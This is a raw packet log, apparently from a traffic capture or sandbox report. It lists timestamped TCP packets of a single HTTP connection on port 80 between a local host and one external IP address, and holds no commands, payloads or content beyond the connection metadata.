Nov 1, 2024 03:45:22.714281082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714293957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714296103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.714333057 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762007952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762020111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762054920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762077093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762157917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762171030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762182951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762222052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762264013 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762320042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762378931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762396097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762460947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762480021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762492895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762509108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762526035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762559891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.762947083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762959003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762969971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.762995958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.763062000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.763076067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.763113976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.763160944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.763160944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764144897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764235020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764247894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764271021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764287949 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764312983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764333963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764342070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764409065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764461040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764467955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764476061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764514923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764611006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764646053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764656067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764658928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764728069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.764784098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764893055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764904976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.764957905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.808322906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.808352947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.808365107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.808404922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.808430910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.808444023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.808489084 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.829416037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829462051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829472065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829479933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.829483986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829524040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.829549074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829566956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829587936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.829639912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829706907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.829744101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877311945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877351046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877362013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877371073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877408981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877460957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877481937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877530098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877538919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877551079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877590895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877696991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877788067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877800941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877811909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877824068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877835989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.877872944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.877872944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.878016949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878066063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878082991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878171921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.878220081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878268957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878278017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.878281116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878331900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.878412008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878496885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878508091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.878547907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.879529953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879586935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879597902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879605055 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.879628897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879662037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.879684925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879730940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879801035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.879826069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879837990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.879962921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.879993916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880003929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880017042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880059004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880059958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.880059958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.880070925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880116940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.880299091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880310059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880321026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.880367041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.923710108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923736095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923747063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923758030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.923758030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923784971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923810005 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.923837900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.923840046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.944809914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.944878101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.944905043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.944916964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.944947004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.944958925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.944988012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.944988012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.945005894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992409945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.992611885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992661953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992672920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992749929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.992779970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992791891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992808104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992821932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992834091 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.992861986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.992932081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992944002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992954969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.992984056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993031025 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993047953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993120909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993132114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993181944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993227959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993240118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993278027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993438959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993463993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993477106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993477106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993560076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993591070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993601084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993685007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993700981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993712902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993722916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993781090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.993917942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993927956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.993997097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.994884968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.994895935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.994906902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.994946003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.994946003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.994973898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.994995117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995047092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.995058060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995069981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995143890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.995233059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995243073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995285988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.995482922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995549917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995562077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995592117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.995635033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995645046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.995753050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.037565947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.037575960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.037611008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.038963079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.039025068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.039037943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.039076090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.060184002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060213089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060228109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060245037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060257912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060262918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.060333014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060349941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060374022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.060374022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.060569048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060580969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.060628891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108097076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108108044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108119965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108155012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108160973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108167887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108186007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108195066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108233929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108282089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108445883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108455896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108484030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108494997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108499050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108508110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108537912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108550072 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108596087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108676910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108740091 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108808994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108849049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108865976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.108912945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.108948946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.109033108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.109061003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.109071016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.109088898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.109100103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.109119892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.109148026 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.109183073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110188961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110255003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110265017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110275984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110301018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110301971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110315084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110369921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110387087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110426903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110439062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110553980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110575914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110629082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110805988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110836983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110847950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110908985 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.110933065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110944986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110965967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.110991001 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.111023903 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.111068964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.111104965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.111116886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.111165047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.154357910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.154370070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.154381037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.154417038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.154448032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.175582886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175592899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175604105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175657988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175668955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175678968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175679922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.175719023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.175739050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.175812960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175878048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175889015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.175971031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.221709967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.221725941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.221787930 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223417997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223464966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223472118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223475933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223525047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223547935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223615885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223627090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223664045 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223685980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223715067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223726034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223731995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223737955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223763943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223834991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223881960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.223954916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223978043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.223989010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224019051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.224097967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224136114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.224174976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224188089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224231958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.224260092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224271059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224320889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224328041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.224390984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224402905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.224414110 CET	80	49750	185.215.113.16	192.168.2.6
